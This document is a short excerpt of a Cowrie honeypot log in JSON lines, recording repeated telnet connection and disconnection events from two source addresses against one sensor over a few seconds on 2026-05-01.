{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60338,"dst_ip":"10.17.0.5","dst_port":23,"session":"b6484790bec6","protocol":"telnet","message":"New connection: 208.115.200.90:60338 (10.17.0.5:23) [session: b6484790bec6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:45.382271Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46506,"dst_ip":"10.17.0.5","dst_port":23,"session":"da21e3b75a78","protocol":"telnet","message":"New connection: 208.115.219.122:46506 (10.17.0.5:23) [session: da21e3b75a78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:45.428391Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60360,"dst_ip":"10.17.0.5","dst_port":23,"session":"4d30dbf5f86a","protocol":"telnet","message":"New connection: 208.115.200.90:60360 (10.17.0.5:23) [session: 4d30dbf5f86a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:45.621521Z"}
{"eventid":"cowrie.session.closed","duration":30.92313289642334,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:45.832520Z","src_ip":"208.115.219.122","session":"45c07e38c566","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":45992,"dst_ip":"10.17.0.5","dst_port":23,"session":"8c12d5e282f1","protocol":"telnet","message":"New connection: 208.115.200.90:45992 (10.17.0.5:23) [session: 8c12d5e282f1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:45.898705Z"}
{"eventid":"cowrie.session.closed","duration":31.22382879257202,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:45.988325Z","src_ip":"208.115.219.122","session":"4bcd987f4c68","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.941856145858765,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:46.047147Z","src_ip":"208.115.219.122","session":"1c1bdc0bf843","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.64474630355835,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:46.052880Z","src_ip":"208.115.200.90","session":"30a767ee1523","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.4581561088562,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:46.061286Z","src_ip":"208.115.219.122","session":"89c13bb6bc4d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.840826749801636,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:46.124769Z","src_ip":"208.115.219.122","session":"cd03a8b854c4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46512,"dst_ip":"10.17.0.5","dst_port":23,"session":"3aee51c79859","protocol":"telnet","message":"New connection: 208.115.219.122:46512 (10.17.0.5:23) [session: 3aee51c79859]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:46.132276Z"}
{"eventid":"cowrie.session.closed","duration":31.186020135879517,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:46.227233Z","src_ip":"208.115.219.122","session":"6b541e1b79df","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.158400535583496,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:46.361414Z","src_ip":"208.115.200.90","session":"4d8152c3fe45","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.370116233825684,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:46.420577Z","src_ip":"208.115.200.90","session":"5b2772b7182f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60386,"dst_ip":"10.17.0.5","dst_port":23,"session":"f8d4be3c2cda","protocol":"telnet","message":"New connection: 208.115.200.90:60386 (10.17.0.5:23) [session: f8d4be3c2cda]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:46.426840Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60412,"dst_ip":"10.17.0.5","dst_port":23,"session":"31daba471969","protocol":"telnet","message":"New connection: 208.115.200.90:60412 (10.17.0.5:23) [session: 31daba471969]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:46.520410Z"}
{"eventid":"cowrie.session.closed","duration":31.08851981163025,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:46.587037Z","src_ip":"208.115.200.90","session":"bb74129c8838","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.487465381622314,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:46.636338Z","src_ip":"208.115.219.122","session":"c9883dd01334","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46528,"dst_ip":"10.17.0.5","dst_port":23,"session":"ac0ec4c6ac2a","protocol":"telnet","message":"New connection: 208.115.219.122:46528 (10.17.0.5:23) [session: ac0ec4c6ac2a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:46.849137Z"}
{"eventid":"cowrie.session.closed","duration":30.57520294189453,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:47.034010Z","src_ip":"208.115.200.90","session":"7911a9cf019d","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.68849778175354,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:47.044480Z","src_ip":"208.115.200.90","session":"51d40f668d90","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":46276,"dst_ip":"10.17.0.5","dst_port":23,"session":"a656d7508bbe","protocol":"telnet","message":"New connection: 208.115.200.90:46276 (10.17.0.5:23) [session: a656d7508bbe]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:47.174959Z"}
{"eventid":"cowrie.session.closed","duration":30.693257570266724,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:47.215469Z","src_ip":"208.115.200.90","session":"9cbc192d2679","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60468,"dst_ip":"10.17.0.5","dst_port":23,"session":"7a74b5bf4f89","protocol":"telnet","message":"New connection: 208.115.200.90:60468 (10.17.0.5:23) [session: 7a74b5bf4f89]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:47.250077Z"}
{"eventid":"cowrie.session.closed","duration":31.193252563476562,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:47.326182Z","src_ip":"208.115.219.122","session":"8f79abeb005d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46568,"dst_ip":"10.17.0.5","dst_port":23,"session":"ef654a6ee1b6","protocol":"telnet","message":"New connection: 208.115.219.122:46568 (10.17.0.5:23) [session: ef654a6ee1b6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:47.346239Z"}
{"eventid":"cowrie.session.closed","duration":31.019957065582275,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:47.355391Z","src_ip":"208.115.200.90","session":"bac63fa003e3","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60474,"dst_ip":"10.17.0.5","dst_port":23,"session":"ccf4eac42f47","protocol":"telnet","message":"New connection: 208.115.200.90:60474 (10.17.0.5:23) [session: ccf4eac42f47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:47.381560Z"}
{"eventid":"cowrie.session.closed","duration":30.973916053771973,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:47.402487Z","src_ip":"208.115.200.90","session":"34899e57123f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60482,"dst_ip":"10.17.0.5","dst_port":23,"session":"fd9480e5f4a8","protocol":"telnet","message":"New connection: 208.115.200.90:60482 (10.17.0.5:23) [session: fd9480e5f4a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:47.460001Z"}
{"eventid":"cowrie.session.closed","duration":31.253896713256836,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:47.470304Z","src_ip":"208.115.200.90","session":"d80fe4569c2e","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.41736674308777,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:47.494051Z","src_ip":"208.115.219.122","session":"5ef1c906c441","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":31.642823457717896,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:47.944235Z","src_ip":"208.115.200.90","session":"7f3b389a3849","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.786476850509644,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:48.012738Z","src_ip":"208.115.219.122","session":"e50f50b7a35b","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.803701639175415,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:48.035037Z","src_ip":"208.115.219.122","session":"e4d2b2dac558","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.747291326522827,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:48.189479Z","src_ip":"208.115.200.90","session":"62c9b823aee9","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60530,"dst_ip":"10.17.0.5","dst_port":23,"session":"ba56ee69322e","protocol":"telnet","message":"New connection: 208.115.200.90:60530 (10.17.0.5:23) [session: ba56ee69322e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:48.232811Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60542,"dst_ip":"10.17.0.5","dst_port":23,"session":"a209cc359202","protocol":"telnet","message":"New connection: 208.115.200.90:60542 (10.17.0.5:23) [session: a209cc359202]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:48.257070Z"}
{"eventid":"cowrie.session.closed","duration":31.109179973602295,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:48.267065Z","src_ip":"208.115.200.90","session":"134a6ce77d88","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46482,"dst_ip":"10.17.0.5","dst_port":23,"session":"13feaecb6db6","protocol":"telnet","message":"New connection: 208.115.219.122:46482 (10.17.0.5:23) [session: 13feaecb6db6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:48.272309Z"}
{"eventid":"cowrie.session.closed","duration":31.116227626800537,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:48.472205Z","src_ip":"208.115.219.122","session":"0a7705541004","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60550,"dst_ip":"10.17.0.5","dst_port":23,"session":"be495525885b","protocol":"telnet","message":"New connection: 208.115.200.90:60550 (10.17.0.5:23) [session: be495525885b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:48.561753Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60568,"dst_ip":"10.17.0.5","dst_port":23,"session":"d76c2c11b351","protocol":"telnet","message":"New connection: 208.115.200.90:60568 (10.17.0.5:23) [session: d76c2c11b351]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:48.932099Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60492,"dst_ip":"10.17.0.5","dst_port":23,"session":"17afa46c1280","protocol":"telnet","message":"New connection: 208.115.200.90:60492 (10.17.0.5:23) [session: 17afa46c1280]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:48.976814Z"}
{"eventid":"cowrie.session.closed","duration":30.762510299682617,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:49.012436Z","src_ip":"208.115.219.122","session":"1ebee642e242","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.904863119125366,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:49.035250Z","src_ip":"208.115.200.90","session":"2609b7740ecc","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60578,"dst_ip":"10.17.0.5","dst_port":23,"session":"9a4c67f301c7","protocol":"telnet","message":"New connection: 208.115.200.90:60578 (10.17.0.5:23) [session: 9a4c67f301c7]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:49.111432Z"}
{"eventid":"cowrie.session.closed","duration":30.575979232788086,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:49.146461Z","src_ip":"208.115.200.90","session":"59ca0d03a027","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.71071720123291,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:49.150859Z","src_ip":"208.115.219.122","session":"613c1e8ef379","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60588,"dst_ip":"10.17.0.5","dst_port":23,"session":"e99e04dba49d","protocol":"telnet","message":"New connection: 208.115.200.90:60588 (10.17.0.5:23) [session: e99e04dba49d]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:49.317332Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60596,"dst_ip":"10.17.0.5","dst_port":23,"session":"3cd30cf7eeee","protocol":"telnet","message":"New connection: 208.115.200.90:60596 (10.17.0.5:23) [session: 3cd30cf7eeee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:49.328348Z"}
{"eventid":"cowrie.session.closed","duration":31.294734716415405,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:49.352970Z","src_ip":"208.115.200.90","session":"b46d05f7eecd","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60700,"dst_ip":"10.17.0.5","dst_port":23,"session":"1ab01f0ec9d8","protocol":"telnet","message":"New connection: 208.115.200.90:60700 (10.17.0.5:23) [session: 1ab01f0ec9d8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:49.479537Z"}
{"eventid":"cowrie.session.closed","duration":31.370519638061523,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:49.762723Z","src_ip":"208.115.200.90","session":"23378d683669","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60896,"dst_ip":"10.17.0.5","dst_port":23,"session":"cf0ac66ef588","protocol":"telnet","message":"New connection: 208.115.200.90:60896 (10.17.0.5:23) [session: cf0ac66ef588]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:49.893704Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60936,"dst_ip":"10.17.0.5","dst_port":23,"session":"aff8dbb4409b","protocol":"telnet","message":"New connection: 208.115.200.90:60936 (10.17.0.5:23) [session: aff8dbb4409b]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:49.944803Z"}
{"eventid":"cowrie.session.closed","duration":30.921946048736572,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:50.017160Z","src_ip":"208.115.219.122","session":"1915909c7635","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.439916610717773,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:50.034785Z","src_ip":"208.115.200.90","session":"e2b0632b6aaa","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.57707381248474,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:50.043613Z","src_ip":"208.115.200.90","session":"9dacd6b18b28","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.89859104156494,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:50.049278Z","src_ip":"208.115.200.90","session":"e30630f4fc77","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.247657775878906,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:50.067340Z","src_ip":"208.115.219.122","session":"cdc88af2c273","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.811825275421143,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:50.127211Z","src_ip":"208.115.200.90","session":"29405a96b8e4","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.634124040603638,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:50.133297Z","src_ip":"208.115.200.90","session":"86dd9aa072f4","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60982,"dst_ip":"10.17.0.5","dst_port":23,"session":"7ab49344d131","protocol":"telnet","message":"New connection: 208.115.200.90:60982 (10.17.0.5:23) [session: 7ab49344d131]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:50.272342Z"}
{"eventid":"cowrie.session.closed","duration":31.693214893341064,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:50.740204Z","src_ip":"208.115.219.122","session":"3064c1be0f9a","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.738731145858765,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:51.044605Z","src_ip":"208.115.219.122","session":"a2dc23963312","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46698,"dst_ip":"10.17.0.5","dst_port":23,"session":"abc2efeece8f","protocol":"telnet","message":"New connection: 208.115.219.122:46698 (10.17.0.5:23) [session: abc2efeece8f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:51.165466Z"}
{"eventid":"cowrie.session.closed","duration":30.278101682662964,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:51.181410Z","src_ip":"208.115.200.90","session":"15a0278862ca","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":32886,"dst_ip":"10.17.0.5","dst_port":23,"session":"317068893d7e","protocol":"telnet","message":"New connection: 208.115.200.90:32886 (10.17.0.5:23) [session: 317068893d7e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:51.271077Z"}
{"eventid":"cowrie.session.closed","duration":30.81096863746643,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:51.318980Z","src_ip":"208.115.200.90","session":"fa9a3e751699","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.8631751537323,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:51.326005Z","src_ip":"208.115.200.90","session":"2ebf53399d71","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":30.654244899749756,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:51.355913Z","src_ip":"208.115.200.90","session":"f2d615eae5cf","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":32962,"dst_ip":"10.17.0.5","dst_port":23,"session":"9d2b59f44fbb","protocol":"telnet","message":"New connection: 208.115.200.90:32962 (10.17.0.5:23) [session: 9d2b59f44fbb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:51.434979Z"}
{"eventid":"cowrie.session.closed","duration":31.193103313446045,"message":"Connection lost after 31 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:51.590706Z","src_ip":"208.115.200.90","session":"43ca43be6c4f","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33064,"dst_ip":"10.17.0.5","dst_port":23,"session":"c38f2d3a5128","protocol":"telnet","message":"New connection: 208.115.200.90:33064 (10.17.0.5:23) [session: c38f2d3a5128]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:51.869786Z"}
{"eventid":"cowrie.session.closed","duration":30.867618799209595,"message":"Connection lost after 30 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:52.108658Z","src_ip":"208.115.200.90","session":"0977d892dd7d","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33080,"dst_ip":"10.17.0.5","dst_port":23,"session":"9043621a61a0","protocol":"telnet","message":"New connection: 208.115.200.90:33080 (10.17.0.5:23) [session: 9043621a61a0]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:52.145097Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.219.122","src_port":46708,"dst_ip":"10.17.0.5","dst_port":23,"session":"bb9d62bd3bba","protocol":"telnet","message":"New connection: 208.115.219.122:46708 (10.17.0.5:23) [session: bb9d62bd3bba]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:52.149079Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33118,"dst_ip":"10.17.0.5","dst_port":23,"session":"f3550a1d4ae2","protocol":"telnet","message":"New connection: 208.115.200.90:33118 (10.17.0.5:23) [session: f3550a1d4ae2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:52.273933Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33122,"dst_ip":"10.17.0.5","dst_port":23,"session":"e0720602a2bd","protocol":"telnet","message":"New connection: 208.115.200.90:33122 (10.17.0.5:23) [session: e0720602a2bd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:52.357419Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33136,"dst_ip":"10.17.0.5","dst_port":23,"session":"0cf2ab8cdbb1","protocol":"telnet","message":"New connection: 208.115.200.90:33136 (10.17.0.5:23) [session: 0cf2ab8cdbb1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:52.368224Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":60656,"dst_ip":"10.17.0.5","dst_port":23,"session":"f92f80dca05c","protocol":"telnet","message":"New connection: 208.115.200.90:60656 (10.17.0.5:23) [session: f92f80dca05c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:52.490610Z"}
{"eventid":"cowrie.session.connect","src_ip":"208.115.200.90","src_port":33142,"dst_ip":"10.17.0.5","dst_port":23,"session":"7c593d60334f","protocol":"telnet","message":"New connection: 208.115.200.90:33142 (10.17.0.5:23) [session: 7c593d60334f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-01T16:16:52.622983Z"}
